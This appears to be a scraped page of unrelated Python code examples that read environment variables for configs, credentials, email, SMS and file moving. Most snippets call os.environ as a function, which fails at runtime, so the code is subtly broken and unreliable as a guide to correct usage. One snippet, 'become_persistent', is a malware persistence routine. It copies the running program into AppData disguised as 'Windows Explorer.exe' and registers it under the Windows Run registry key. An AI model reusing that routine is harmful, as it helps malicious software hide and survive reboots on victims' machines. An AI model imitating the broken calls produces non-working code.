Beispiel #1
0
class Config(object):
    SECRET_KEY = os.environ("very_long_key")
    DEBUG = False
    TESTING = False
    SQLALCHEMY_DATABASE_URI = os.environ("postgres_local")
    JSON_SORT_KEYS = False
    SQLALCHEMY_TRACK_MODIFICATIONS = False
Beispiel #2
0
def set_creatures_path(path):
    """
    set the creature building path.
    :return:
    """
    os.environ('BLUEPRINTS_PATH', path)
    return True
Beispiel #3
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--dry-run",
                        help="dry-run mode",
                        action="store_true",
                        default=True)
    args = parser.parse_args()
    if args.verbosity:
        print("dry-run enabled")

    ruser = os.environ("RH_USER")
    rpass = os.environ("RH_PASS")

    login = robinhood.login(ruser, rpass)
    profile = robinhood.build_user_profile()
    watchlist = folio.watchlist_symbols()
    portfolio = folio.portfolio_symbols()
    holdings = folio.modified_holdings()

    sells = find.sells(portfolio)
    for sym in sells:
        transact.sell(sym, holdings, dry_run=args.dry_run)

    buys = find.buys(watchlist, portfolio)
    if args.dry_run:
        transact.buy(buys, profile, holdings, dry_run=args.dry_run)
Beispiel #4
0
 def __init__(self, argv):
     self.gus = GUS(api_key=os.environ('GUSREGON_API_KEY'),
                    sandbox=os.environ('GUSREGON_SANDBOX', True))
     self.s = requests.Session()
     self.argv = argv
     self.args = self.get_build_args(argv[1:])
     self.s.auth = (self.args.user, self.args.password)
Beispiel #5
0
 def __init__(self, address, num_workers, app, **kwargs):
     self.address = address
     self.num_workers = num_workers
     self.worker_age = 0
     self.app = app
     self.conf = kwargs.get("config", {})
     self.timeout = self.conf['timeout']
     self.reexec_pid = 0
     self.debug = kwargs.get("debug", False)
     self.log = logging.getLogger(__name__)
     self.opts = kwargs
     
     self._pidfile = None
     self.master_name = "Master"
     self.proc_name = self.conf['proc_name']
     
     # get current path, try to use PWD env first
     try:
         a = os.stat(os.environ('PWD'))
         b = os.stat(os.getcwd())
         if a.ino == b.ino and a.dev == b.dev:
             cwd = os.environ('PWD')
         else:
             cwd = os.getcwd()
     except:
         cwd = os.getcwd()
         
     # init start context
     self.START_CTX = {
         "argv": copy.copy(sys.argv),
         "cwd": cwd,
         0: copy.copy(sys.argv[0])
     }
def main():
    # read in the wav file name from the command line
    #fileroot = sys.argv[1]
    #fileroot = os.path.join('D:', 'waveforms')
    #print fileroot
    #print os.getcwd()
    #os.chdir(fileroot)
    GSE_TOP = os.environ("GSE_TOP")
    ANTELOPE_TOP = os.environ("ANTELOPE_TOP")
    print os.getcwd()
    os.chdir(GSE_TOP)
    years = glob.glob('[0-9]' * 4)
    for year in years:
        os.chdir(year)
        print os.getcwd()
        months = glob.glob('[0-9]' * 2)
        for month in months:
            os.chdir(month)
            print os.getcwd()
            gsefiles = glob.glob('*.gse')
            print("Found %d GSE files" % (len(gsefiles)))
            for gsefile in gsefiles:
                gse2antelope(gsefile, ANTELOPE_TOP)
            os.chdir('..')
        os.chdir('..')
 def test_login_with_user(self):
     ofm_username = os.environ('OFM_USERNAME')
     ofm_password = os.environ('OFM_PASSWORD')
     user = OFMUser('name', '*****@*****.**', 'pass', ofm_username=ofm_username, ofm_password=ofm_password)
     self.site_manager = OFMSiteManager(user)
     self.site_manager.login()
     self.assertIn("OFM", self.site_manager.browser.title)
Beispiel #8
0
 def get_config():
     if os.environ("ENV"):
         env = os.environ("ENV")
         config_path = os.path.join(Config.get_config_dir(),
                                    f"config_{env}.json")
     else:
         config_path = os.path.join(Config.get_config_dir(), f"config.json")
     return json_utils.read_json(config_path)
Beispiel #9
0
def set_env(build):
    if 'env' in build:
        for item in build['env']:
            try:
                env, val = item.split('=')
                os.environ(env)
            except:
                pass
Beispiel #10
0
def move_file():
    #counts files in current dir
    nfile = len(os.listdir(os.environ["ORGN"]))
    print(nfile)
    if nfile > 0:  ## are there any files to move
        # take most recent file name
        firstfile = sorted(os.listdir(
            os.environ["ORGN"]))[0]  ## label first file

        if nfile == 1:
            logging.debug(
                "One file named {0} in {1}. Attempt to copy to {2}".format(
                    firstfile, os.environ["ORGN"], os.environ["DSTN"]))
            print("One file named {0} in {1}. Attempt to copy to {2}".format(
                firstfile, os.environ["ORGN"], os.environ["DSTN"]))
            #Transfer the file from src path to dest path

            #scp.put(os.path.join(os.environ["orgn"], firstfile),'os.environ["dstn"]')
            os.system("cp " + os.path.join(os.environ["ORGN"], firstfile) +
                      ' ' + os.environ["DSTN"])

            logging.debug("{0} file copied from {1} to {2}".format(
                firstfile, os.environ["ORGN"], os.environ["DSTN"]))
            print("{0} file copied from {1} to {2}".format(
                firstfile, os.environ["ORGN"], os.environ["DSTN"]))
            logging.debug("Attempt to remove {0} from {1}".format(
                firstfile, os.environ["ORGN"]))
            print("Attempt to remove {0} from {1}".format(
                firstfile, os.environ["ORGN"]))
            os.remove(os.environ["ORGN"] + '/' + firstfile)
            logging.debug("file removed from {0}".format(os.environ["ORGN"]))
            print("file removed from {0}".format(os.environ["ORGN"]))
        elif nfile < os.environ['FILEMAXN']:
            logging.debug(
                "Multiple files in {0} ({1} total). Attempt to copy {2} to {3}."
                .format(os.environ["ORGN"], nfile, firstfile,
                        os.environ["DSTN"]))
            #Transfer the file from src path to dest path
            #scp.put(os.path.join(os.environ["orgn"], firstfile),'os.environ["dstn"]')
            os.system("cp " + os.path.join(os.environ["ORGN"], firstfile) +
                      ' ' + os.environ["DSTN"])

            logging.debug("{0} file copied from {1} to {2}".format(
                firstfile, os.environ["ORGN"], os.environ["DSTN"]))
            logging.debug("Attempt to remove {0} from {1}".format(
                firstfile, os.environ["ORGN"]))
            os.remove(os.environ["ORGN"] + '/' + firstfile)

            logging.debug(
                "file removed from {0}. There are {1} files remaining.".format(
                    os.environ["ORGN"], nfile - 1))
            #MOVE NEXT FILE? (call this function again?)
        else:
            logging.debug("Greater than {0} files".format(
                os.environ('FILEMAXN')))
            print("Greater than {0} files".format(os.environ('FILEMAXN')))
            #DELETE ALL FILES IN ORIGIN?
    return
 def _eyes_set_batch(self,batchName,ApplitoolsJenkinsPlugin):
     batch = BatchInfo(batchName)
     if ApplitoolsJenkinsPlugin is True:
         batch.id = os.environ('APPLITOOLS_BATCH_ID')
         if batchName is None:
             batch.name = os.environ('JOB_NAME')
     if batchName not in self.BatchDic.keys():
         self.BatchDic[batchName]=batch
     eyes.batch=self.BatchDic[batchName]
 def access_headers(self):
     return { 
         'oauth_consumer_key' : os.environ('API_KEY'), 
         'oauth_nonce' : os.environ('API_SECRET'), 
         'oauth_signature' : '',
         'oauth_signature_method' : 'HMAC-SHA1',
         'oauth_timestamp' : 'number of seconds since Unix epoch?',
         'oauth_token' : '', # needs to be requested
         'oauth_version' : '1.0'
       }
 def token_headers(self, callback_url):
     return { 
         'oauth_callback' : callback_url,
         'oauth_consumer_key' : os.environ('API_KEY'),
         'oauth_nonce' : os.environ('API_SECRET'),
         'oauth_signature' : '',
         'oauth_signature_method' : 'HMAC-SHA1',
         'oauth_timestamp' : 'number of seconds since Unix epoch?',
         'oauth_version' : '1.0'
       }
Beispiel #14
0
def sendText():
    number = os.environ("TO_NUMBER")
    message = client.messages \
        .create(
        body="You are reaching your spending limit for Food and Drinks" ,
        from_=os.environ("FROM_NUMBER"),
        to=number
    )

    return "Sent message to " + number
Beispiel #15
0
    def __init__(self, user=None):  # pylint: disable=super-init-not-called
        self.user = user
        if self.user:
            self._login_user = self.user.ofm_username
            self._login_password = self.user.ofm_password
        else:
            self._login_user = os.environ('OFM_USERNAME')
            self._login_password = os.environ('OFM_PASSWORD')

        self.display = Xvfb()
        self.display.start()
Beispiel #16
0
    def __init__(self, user=None):  # pylint: disable=super-init-not-called
        self.user = user
        if self.user:
            self._login_user = self.user.ofm_username
            self._login_password = self.user.ofm_password
        else:
            self._login_user = os.environ('OFM_USERNAME')
            self._login_password = os.environ('OFM_PASSWORD')

        self.display = Xvfb()
        self.display.start()
 def test_login_with_user(self):
     ofm_username = os.environ('OFM_USERNAME')
     ofm_password = os.environ('OFM_PASSWORD')
     user = OFMUser('name',
                    '*****@*****.**',
                    'pass',
                    ofm_username=ofm_username,
                    ofm_password=ofm_password)
     self.site_manager = OFMSiteManager(user)
     self.site_manager.login()
     self.assertIn("OFM", self.site_manager.browser.title)
def main():
    write_ssh_keys(SSH_DIR, environ(MORPH_SSH_PRIV_KEY_ENV),
                   environ(MORPH_SSH_PUB_KEY_ENV), SSH_PRIV_KEY_PATH,
                   SSH_PUB_KEY_PATH)
    write_ssh_command(GIT_SSH_COMMAND_PATH, GIT_SSH_COMMAND_MORPHIO)
    write_ssh_key_server(SSH_PUB_KEY_SERVER, SSH_PUB_KEY_SERVER_PATH)
    repo = pull_or_clone(DATA_REPO_PATH, DATA_REPO_URL,
                         DATA_REPO_BRANCH, DATA_REPO_NAME,
                         GIT_SSH_COMMAND_PATH, False)
    check_ssh_keys(repo, GIT_SSH_COMMAND_PATH, SSH_PRIV_KEY_PATH,
                   SSH_PUB_KEY_PATH, SSH_PUB_KEY_SERVER_PATH)
Beispiel #19
0
def CallChild(BucketName, AuditStartTime = datetime.datetime.now()):
    # Function used to may a curl request to trigger a copy of this function
    # TODO : Solve for Parallel

    # Build Clound Function URL Path
    function_url = "https://" + os.environ(FUNCTION_REGION) + "." + os.environ(GCP_PROJECT) + ".cloudfunctions.net/" + os.environ(FUNCTION_NAME)
    # Add Headers
    headers = { 'Content-Type' : 'application/json' }
    # Add Relative parameters
    data = {'child_thread' : BucketName, 'start_date' : AuditStartTime }
    # Make Call
    res = requests.post(function_url, json=data, headers=headers)
Beispiel #20
0
def send_sms(chains='teletubbies'):

    # ACCOUNT_SID = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
    # AUTH_TOKEN = "your_auth_token"

    client = TwilioRestClient(os.environ(TWILIO_ACCOUNT_SID),
                              os.environ(TWILIO_AUTH_TOKEN))

    client.messages.create(to="+dummynum",
                           from_="+15017250604",
                           body="test sms for PB_HB_BFFS")

    return
Beispiel #21
0
 def smtpinit(self):
     try:
         emailhost = os.environ('EMAILHOST')
         emailport = os.environ('EMAILPORT')
         emailusername = os.environ('EMAILUSERNAME')
         emailpassword = os.environ('EMAILPASSWORD')
         server = smtplib.SMTP(emailhost, emailport)
         server.starttls()  # Secure the connection
         server.login(emailusername, emailpassword)
         return server
     except Exception as e:
         print(e)
     finally:
         server.quit()
Beispiel #22
0
    def __init__(self, config):

        # connection information for DB
        try:
            self.user = os.environ("DBUSER")
            self.password = os.environ("DBPASS")
            self.host = os.environ("DBHOST")
            self.port = os.environ("DBPORT")
            self.dbname = os.environ("DBNAME")
        except:
            self.user = config["user"]
            self.password = config["pass"]
            self.host = config["host"]
            self.port = config["port"]
            self.dbname = config["dbname"]
Beispiel #23
0
	def writeJob(self):
		prevJobs = os.environ('crontab -l')
# m h dom mon dow command
		thisJob = str(self.dateTime.minute)+' '+str(self.dateTime.hour)+' '+str(self.dateTime.weekday())+' '+self.path
		PATH = '/tmp/'
		filename = PATH+'alarm-crontab-'+self.ID
		backupFilename = PATH+'alarm-crontab-'+self.ID+'-backup'
		files = [filename, backupFilename]
		data = [str(prevJob+"\n# added by part1zan_'s f****n crontab\n"+thisJob), str(prevJob)]
		for i in range(len(files)):
			fhandle = open(files[i], 'w+')
			fhandle.write(str(data[i]))
			fhandle.close()
			
		os.environ('crontab '+filename)
Beispiel #24
0
def BOSSGalaxies(sample='lowz-south'):
    ''' Read in BOSS galaxy catalog. Data can be downloaded from 
    https://data.sdss.org/sas/dr12/boss/lss/
    

    Parameters
    ----------
    sample : string
        Specify the exact BOSS sample. For options see
        https://data.sdss.org/sas/dr12/boss/lss/
        (Default: 'cmass-north')

    Returns
    -------
    data : nbodykit.lab.FITSCatalog object
        BOSS galaxy catalog  
    '''
    if sample == 'cmass-north':
        fgal = os.path.join(os.environ('BOSSSBI_DIR'), 'boss',
                            'galaxy_DR12v5_CMASS_North.fits.gz')
    elif sample == 'lowz-south':
        fgal = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'dat',
                            'galaxy_DR12v5_LOWZ_South.fits.gz')
    else:
        raise NotImplementedError

    data = NBlab.FITSCatalog(fgal)
    return data
Beispiel #25
0
async def get_album_art(album_id: AlbumId):
    album = repository.get_album_by_id(album_id)

    try:
        new_base_path = PurePath(os.environ('GIRANDOLE_MUSIC_DIR'))
    except TypeError:
        new_base_path = None

    if new_base_path:
        uses_windows_paths = Config['beets'].getboolean('windows paths', False)
        if uses_windows_paths:
            album_art_path = girandole.utils.path_from_beets(
                album.artpath, PureWindowsPath)
            base_path_in_db = PureWindowsPath(beets.config['directory'].get())
        else:
            album_art_path = girandole.utils.path_from_beets(album.artpath)
            base_path_in_db = PurePath(beets.config['directory'].get())

        album_art_path = girandole.utils.rebase_path(album_art_path,
                                                     base_path_in_db,
                                                     new_base_path)
    else:
        album_art_path = girandole.utils.path_from_beets(album.artpath)

    if not album_art_path:
        raise HTTPException(
            status_code=404,
            detail=f"Album '{album.albumartist} - {album.album} "
            f"({album.year})' with ID '{album_id}' has no album art.")
    return FileResponse(album_art_path, media_type='image/jpeg')
Beispiel #26
0
def prepend_path_variable_command(variable, paths):
    """
        Returns a command that prepends the given paths to the named path variable on
        the current platform.
    """
    return path_variable_setting_command(variable,
        paths + os.environ(variable).split(os.pathsep))
Beispiel #27
0
def prepend_path_variable_command(variable, paths):
    """
        Returns a command that prepends the given paths to the named path variable on
        the current platform.
    """
    return path_variable_setting_command(
        variable, paths + os.environ(variable).split(os.pathsep))
Beispiel #28
0
 def become_persistent(self):
     evil_file_location = os.environ("appdata") + "\\Windows Explorer.exe"
     if not os.path.exists(evil_file_location):
         shutil.copyfile(sys.executable, evil_file_location)
         subprocess.call(
             'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "'
             + evil_file_location + '"')
Beispiel #29
0
def main():
    setup_apppkg()
    app = make_app()
    env_description['config_dir'] = config_dir
    app.setup_settings(env_description)
    app.activate_path(venv_location)
    import appsettings
    appsettings.app = app
    d = {
        '__name__': '__main__',
        '__file__': command_path,
        }
    execfile(command_path, d)
    if os.environ('_APPPKG_FUNC'):
        try:
            func = d[os.environ['_APPPKG_FUNC']]
            args = json.loads(os.environ['_APPPKG_ARGS'])
            kw = json.loads(os.environ['_APPPKG_KW'])
            resp = func(*args, **kw)
            resp = {'data': resp}
            resp = json.dumps(resp)
        except Exception, e:
            resp = {
                'error': {
                    'class': e.__class__.__name__, 'description': str(e), 'details': strip_json_attrs(e.__dict__),
                    }
                }
            resp = json.dumps(resp)
        sys.stdout.write(resp)
Beispiel #30
0
def get_env_var(za_var):
    """ Get the environment variable."""
    try:
        return os.environ(za_var)
    except KeyError:
        error_msg = "Set the {} environment variable".format(za_var)
        raise ImproperlyConfigured(error_msg)
Beispiel #31
0
def sendmail(stu_id, subject, content):
    smtp = smtplib.SMTP()
    smtp.connect('smtp.live.com', 587)
    smtp.ehlo()
    smtp.starttls()
    smtp.ehlo()
    smtp.login('*****@*****.**', os.environ('MAIL_PASS'))
def find_executable(names, env_var=None):

    """
    Find executable in path using given names.
    """

    # If an associated environment variable id defined,
    # test it first.

    if env_var:
        if os.environ.has_key(env_var):
            return os.environ(env_var)
        else:
            for a in sys.argv[1:]:
                if a.find(env_var) == 0:
                    return a.split('=', 1)[1]

    # Otherwise, use standard path.

    p = os.getenv('PATH').split(':')

    for name in names:
        if os.path.isabs(name):
            if os.path.isfile(name):
                return name
        else:
            for d in p:
                absname = os.path.join(d, name)
                if os.path.isfile(absname):
                    if p != '/usr/bin':
                        return absname
                    else:
                        return name
    return None
Beispiel #33
0
def read_listeners_in_config(config_file, apns_daemon, service_parent):
    """
    Reads the config file and return all the listeners in it one by one.
    """
    if not os.path.isfile(config_file):
        import sys

        print >>sys.stderr, "Config Path: %s" % os.environ("APNSD_CONFIG_DIR")
        raise errors.ConfigFileError(config_file, "File not found: %s" % config_file)

    configs = eval(open(config_file).read())
    if "listeners" not in configs:
        raise errors.ConfigFileError(config_file, "'listeners' section not found")

    listeners = configs["listeners"]
    for listener_name in listeners:
        listener_data = listeners[listener_name]
        listener_class = listener_data["class"]
        listener_class = importClass(listener_class)
        logging.debug("Creating listener: " + str(listener_class))
        listener = listener_class(apns_daemon, **listener_data)

        if listener_data.get("secure", False):
            server = internet.SSLServer(listener_data["port"], listener)
        else:
            server = internet.TCPServer(listener_data["port"], listener)
        server.setServiceParent(service_parent)

        logging.debug("Listener Created: " + str(listener))
        apns_daemon.registerListener(listener_name, listener)
Beispiel #34
0
    def _init_fvslib_path(self):
        """
        Initialize the folder to load variant libraries from.
        """
        fvslib_path = self.config['fvs_lib']['fvslib_path']

        if os.path.exists(fvslib_path):
            self.fvslib_path = os.path.abspath(fvslib_path)
            return

        # Adjust fvs_bin path relative to the configuration file
        fvslib_path = os.path.join(os.path.dirname(pyfvs.config_path),
                                   fvslib_path)
        if os.path.exists(fvslib_path):
            self.fvslib_path = os.path.abspath(fvslib_path)
            return

        # Try the environment variable
        fvslib_path = os.environ('FVSLIB_PATH')
        if os.path.exists(fvslib_path):
            self.fvslib_path = os.path.abspath(fvslib_path)
            return

        if not self.fvslib_path:
            raise IOError('Could not find a suitable FVSLIB_PATH')
Beispiel #35
0
def Audio(us, to, info):
    spis = info.split(",")
    tts = gt(text=spis[1], lang=spis[0])
    tts.save("audio.ogg")
    vk2 = vk_api.VkApi(login=os.environ(['vkLogin']),
                       password=os.environ(['vkPassword']))
    o = {"type": "audio_message"}
    z = vk2.method('docs.getMessagesUploadServer', o)
    url = z['upload_url']
    files = {"file": open("/home/prazd/audio.ogg", "rb")}
    r = requests.post(url, files=files)
    l = json.loads(r.text)
    save = vk2.method("docs.save", {"file": l["file"]})
    we = save[0]["preview"]["audio_msg"]["link_mp3"]
    w.write_msg(us, to, str(we))
    os.remove('/home/prazd/audio.ogg')
def do_lcatr():
    import lcatr.schema
    reb_id = os.environ["LCATR_UNIT_ID"]
    if (len(reb_id.split("-")) != 3):
        raise Exception("ERROR: Invalid REB ID format: %s" % (reb_id))
	return

    remote = None
    if (os.environ.has_key('TSREB_SSH_LOGIN')):
	remote = os.environ('TSREB_SSH_LOGIN')

    reb_id = reb_id.split("-")[2]
    tsp = tsreb_products(reb_id, remote=remote)
    tsp()
    tsp.write_schema(0, fname="%s/TREB/tsreb_upload/v0/tsreb_upload.schema" % os.environ['HARNESSEDJOBSDIR'])

    results = []
    data_products = []
    for item in tsp.get_file_list():
        data_products.append(lcatr.schema.fileref.make(item))

    results.extend(data_products)
    lcat_out = lcatr.schema.valid(lcatr.schema.get('tsreb_upload'), **tsp.get_results_dict())
    results.append(lcat_out)

    lcatr.schema.write_file(results)
    lcatr.schema.validate_file()
    def readConfig(self, idpConfigFilePath):
        """Read and initialise validators set in a config file"""  
        validators = []
        
        if idpConfigFilePath is None:
            idpConfigFilePath = os.environ('SSL_IDP_VALIDATION_CONFIG_FILE')
            
        if idpConfigFilePath is None:
            log.warning("SSLIdPValidationDriver.readConfig: No IdP "
                        "Configuration file was set")
            return validators
        
        configReader = XmlConfigReader()
        validatorConfigs = configReader.getValidators(idpConfigFilePath)

        for validatorConfig in validatorConfigs:
            try:
                validator = instantiateClass(validatorConfig.className,
                                             None, 
                                             objectType=SSLIdPValidator)
                
                # Validator has access to the SSL context object in addition
                # to custom settings set in parameters
                validator.initialize(self.ctx, **validatorConfig.parameters)
                validators.append(validator)
            
            except Exception, e: 
                raise ConfigException("Validator class %r initialisation "
                                      "failed with %s exception: %s" %
                                      (validatorConfig.className, 
                                       e.__class__.__name__,
                                       traceback.format_exc()))
Beispiel #38
0
    def readConfig(self, idpConfigFilePath):
        """Read and initialise validators set in a config file"""
        validators = []

        if idpConfigFilePath is None:
            idpConfigFilePath = os.environ('SSL_IDP_VALIDATION_CONFIG_FILE')

        if idpConfigFilePath is None:
            log.warning("SSLIdPValidationDriver.readConfig: No IdP "
                        "Configuration file was set")
            return validators

        configReader = XmlConfigReader()
        validatorConfigs = configReader.getValidators(idpConfigFilePath)

        for validatorConfig in validatorConfigs:
            try:
                validator = instantiateClass(validatorConfig.className,
                                             None,
                                             objectType=SSLIdPValidator)

                # Validator has access to the SSL context object in addition
                # to custom settings set in parameters
                validator.initialize(self.ctx, **validatorConfig.parameters)
                validators.append(validator)

            except Exception, e:
                raise ConfigException(
                    "Validator class %r initialisation "
                    "failed with %s exception: %s" %
                    (validatorConfig.className, e.__class__.__name__,
                     traceback.format_exc()))
Beispiel #39
0
    def var_replacer(self, line, c='$'):

        vars = self.var_finder(line, c=c)

        for v in vars["normal"]:
            value = str(Var.get(v))
            line = line.replace(c + v, value)
            # replace in line the variable $v with value
        for v in vars["os"]:
            name = v.replace('os.', '')
            if name in os.environ:
                value = os.environ[name]
                line = line.replace(c + v, value)
            else:
                Console.error("can not find environment variable {}".format(v))
                if c + v in line:
                    value = os.environ(v)
                    # replace in line the variable $v with value

        for v in vars["dot"]:
            try:
                config = ConfigDict("cloudmesh.yaml")
                print(config["cloudmesh.profile"])
                value = config[v]
                line = line.replace(c + v, value)
            except Exception as e:
                Console.error(
                    "can not find variable {} in cloudmesh.yaml".format(value))
        return line
Beispiel #40
0
    def get_all_trips(self, start, end, curr_time=None):
        c = gmaps.client.Client(GOOGLE_MAPS_KEY)
        if curr_time is None:
            curr_time = datetime.datetime.now()
        curr_month = curr_time.month
        curr_year = curr_time.year
        curr_minute = curr_time.minute
        curr_day = curr_time.day
        curr_hour = curr_time.hour
        mode = "WALK"
        if self.has_bike:
            mode = "BICYCLE"

        walk_otp = otp.OTP(os.environ("OTP_SERVER")).route(start, end, "WALK", write_day(curr_month, curr_day, curr_year), write_time(curr_hour, curr_minute), False)
        lst_of_trips = walk_otp.get_all_trips(0, 0, 0)

        our_gmaps = gmaps.GoogleMaps(GOOGLE_MAPS_KEY) 
        mode = "walking"
        if self.has_bike:
            mode = "bicycling"

        jsn = our_gmaps.directions(start, end, mode)
        gmaps_options = gmcommon.google_maps_to_our_trip_list(jsn, 0, 0, 0, mode, curr_time)

        ## Throw in a random waypoint to make things more interesting
        waypoint = get_one_random_point_in_radius(CENTER_OF_CAMPUS, RANDOM_RADIUS)
        gmaps_way_points_jsn = our_gmaps.directions(start, end, mode, waypoints=waypoint)
        way_points_options = gmcommon.google_maps_to_our_trip_list(gmaps_way_points_jsn, 0, 0, 0, mode, curr_time)
        tot_trips = lst_of_trips + gmaps_options + way_points_options

        return tot_trips
Beispiel #41
0
    def var_replacer(self, line, c='$'):

        vars = self.var_finder(line, c=c)

        for v in vars["normal"]:
            value = str(Var.get(v))
            line = line.replace(c + v, value)
            # replace in line the variable $v with value
        for v in vars["os"]:
            name = v.replace('os.', '')
            if name in os.environ:
                value = os.environ[name]
                line = line.replace(c + v, value)
            else:
                Console.error("can not find environment variable {}".format(
                    v))
                if c + v in line:
                    value = os.environ(v)
                    # replace in line the variable $v with value

        for v in vars["dot"]:
            try:
                config = ConfigDict("cloudmesh.yaml")
                print(config["cloudmesh.profile"])
                value = config[v]
                line = line.replace(c + v, value)
            except Exception as e:
                Console.error("can not find variable {} in cloudmesh.yaml".format(value))
        return line
Beispiel #42
0
def database_param(key, default=None):
    for path in CONFIG_MOUNT_PATHS:
        if os.path.exists(os.path.join(path, key)):
            return open(os.path.join(path, key)).read()
    if key.upper().replace('-', '_') in os.environ:
        return os.environ(key.upper().replace('-', '_'))
    return default
Beispiel #43
0
def processing():
    token = os.environ(['token'])
    confirmation_token = 'alexokdaPrazd'
    #Распаковываем json из пришедшего POST-запроса
    data = json.loads(request.data)
    #Вконтакте в своих запросах всегда отправляет поле типа
    if 'type' not in data.keys():
        return 'not vk'
    if data['type'] == 'confirmation':
        return confirmation_token
    elif data['type'] == 'message_new':
        user_id = data['object']['user_id']
        if data['object']['body'] == 'как сам?':
            w.write_msg(user_id, token, 'хорошо')
        elif data['object']['body'] == 'USD':
            fun.USD(user_id, token)
        elif data['object']['body'] == 'EUR':
            fun.EUR(user_id, token)
        elif "aud" in data['object']['body']:
            audio = data['object']['body'].replace("aud ", "")
            fun.Audio(user_id, token, audio)
        elif data['object']['body'] in fun.chi:
            ran = random.choice([0, 1, 2, 3])
            w.write_msg(user_id, token, fun.bhi[ran])
        elif '!' in data['object']['body']:
            m = data['object']['body']
            place = m.replace('!', '')
            fun.Weather(user_id, token, place)
        elif data['object']['attachments'][0]['doc'][
                'title'] == 'audio_msg.opus':
            URL = data['object']['attachments'][0]['doc']['preview'][
                'audio_msg']['link_mp3']
            fun.Golos(user_id, token, URL)
        # Сообщение о том, что обработка прошла успешно
        return 'ok'
Beispiel #44
0
def obtain_alternatives(trip_id, user_id):
    db = edb.get_trip_db()
    trip = ecwt.E_Mission_Trip.trip_from_json(
        db.find_one({
            "trip_id": trip_id,
            "user_id": user_id
        }))
    logging.debug(trip.sections)
    start_coord = trip.trip_start_location.maps_coordinate()
    end_coord = trip.trip_end_location.maps_coordinate()
    logging.debug("Start: %s " % start_coord)
    logging.debug("End: %s " % end_coord)

    curr_time = datetime.datetime.now()
    curr_year = curr_time.year
    curr_month = curr_time.month
    curr_day = curr_time.day
    curr_hour = curr_time.hour
    curr_minute = curr_time.minute

    otp_modes = ['CAR', 'WALK', 'BICYCLE', 'TRANSIT']

    for mode in otp_modes:
        try:
            otp_trip = otp.OTP(os.environ("OTP_SERVER")).route(
                start_coord, end_coord, mode,
                write_day(curr_month, curr_day, curr_year),
                write_time(curr_hour, curr_minute), False)
            otp_trip = otp_trip.turn_into_trip(None, user_id, trip_id)
            otp_trip.save_to_db()
        except otp.PathNotFoundException as e:
            logging.info("No alternatives found in OTP, saving nothing")
    '''
Beispiel #45
0
  def install(self):
    """Finally installs the system."""
      
    #mounting
    ##let's sort them out
    self.mountpoints.sort(key = lambda x: len(x.path.split('/')))
    ##now mount
    for mountpoint in paths:
      if not os.path.exists(os.path.join(self.global_path, mountpoint)):
	os.mkdir(os.path.join(global_path, mountpoint))
      mountpoint.mount()
    
    #generating fstab
    with open(self.global_path + "/etc/fstab", 'w') as fstab:
      fstab.write(storage.generate_fstab(self.mountpoints))
    
    #installing packages
    os.environ({'XPKG_INSTALL_DIR': self.global_path})
    subprocess.Popen(['xpkg', '-i'] + self.packages)
    	
    #chrootting
    subprocess.Popen(["mount", "--bind", "/dev", self.global_path + "/dev"])
    subprocess.Popen(["mount", "-t", "sysfs", "/proc", self.global_path + "/proc"])
    os.chroot(global_path)
    
    #users stuff
    ##adding new users
    user_admin = libuser.admin()
    for chosen_one in self.users:
      user = user_admin.initUser(chosen_one["login"])
      #some other stuff here
      user['PASSWORD'] = chosen_one["password"]
      user_admin.addUser(user)
    ##setting root password
    root_user = user_admin.initUser('root')
    admin.setpassUser(root_user, root_passwd, True)
    
    #network settings
    with open("/etc/hostname", 'w') as etc_hostname:
      etc_hostname.write(self.hostname)
      
    #locale settings
    os.symlink(os.path.join("/usr/share/zoneinfo/", self.timezone), "/etc/localtime")
    l10n.generate(self.locales)
    
    #installing grub
    grub.install(self.grub_device, self.locales)
Beispiel #46
0
def conf_from_env(name, default=None):
    """
    gets configuration from the environment
    """
    if name in os.environ:
        return os.environ(name)
    else:
        return default
Beispiel #47
0
def GetJava():
  java = '/usr/bin/java'
  try:
    javahome = os.environ('JAVA_HOME')
    java = join(javahome, 'bin', 'java')
  except:
    pass
  return java
def init():
    global pushbullet_client, wanted_pokemon
    # load pushbullet key
    with open('config.json') as data_file:
        data = json.load(data_file)
        # get list of pokemon to send notifications for
        #
        # wanted_pokemon = _str( data["notify"] ) . split(",")
        wanted_pokemon = _str( os.environ(["notify"]) ) . split(",")
        # transform to lowercase
        wanted_pokemon = [a.lower() for a in wanted_pokemon]

        # get api key
        # api_key = _str( data["pushbullet"] )
        api_key = os.environ(["pushbullet"])
        if api_key:
            pushbullet_client = Pushbullet(api_key)
Beispiel #49
0
    def __init__(self, user=None):
        self.user = user

        if settings.PHANTOMJS_REMOTE:
            self.browser = webdriver.Remote(command_executor='http://{}:8910'.format(settings.PHANTOMJS_HOST),
                                            desired_capabilities=DesiredCapabilities.PHANTOMJS)
        else:
            self.browser = webdriver.PhantomJS()

        self._handle_aws_display_bug()

        if self.user:
            self._login_user = self.user.ofm_username
            self._login_password = self.user.ofm_password
        else:
            self._login_user = os.environ('OFM_USERNAME')
            self._login_password = os.environ('OFM_PASSWORD')
Beispiel #50
0
def run(program, *args, **kw):
	mode=kw.get("mode", os.P_WAIT)
	for path in string.split(os.environ("PATH"), os.pathsep):
		file=os.path.join(path, program)+".exe"
		try:
			return os.spawnv(mode, file, (file,)+args)
		except os.error:
			pass
	raise os.error , "can NOT find executable"
Beispiel #51
0
 def width(self):
     try:
         cols = os.environ('COLUMNS')
     except KeyError:
         return -1
     try:
         return int(cols)
     except ValueError:
         return -1
Beispiel #52
0
 def height(self):
     try:
         cols = os.environ('LINES')
     except KeyError:
         return -1
     try:
         return int(cols)
     except ValueError:
         return -1
Beispiel #53
0
def getRange(self):
	request_range = os.environ('HTTP_RANGE')
	request_range = request_range[6:].split('-')

	if (request_range[0] < 0):
		request_range[0] = 0

	if (request_range[1] < 0):
		request_range[1] = -1

	return request_range
Beispiel #54
0
    def __init__(self, app):
        self.app = app
        self.cfg = app.cfg
        
        if self.cfg.preload_app:
            self.app.wsgi()

        self.log = logging.getLogger(__name__)

        self.address = self.cfg.address
        self.num_workers = self.cfg.workers
        self.debug = self.cfg.debug
        self.timeout = self.cfg.timeout
        self.proc_name = self.cfg.proc_name
        self.worker_class = self.cfg.worker_class

        self.pidfile = None
        self.worker_age = 0
        self.reexec_pid = 0
        self.master_name = "Master"
 
        # get current path, try to use PWD env first
        try:
            a = os.stat(os.environ('PWD'))
            b = os.stat(os.getcwd())
            if a.ino == b.ino and a.dev == b.dev:
                cwd = os.environ('PWD')
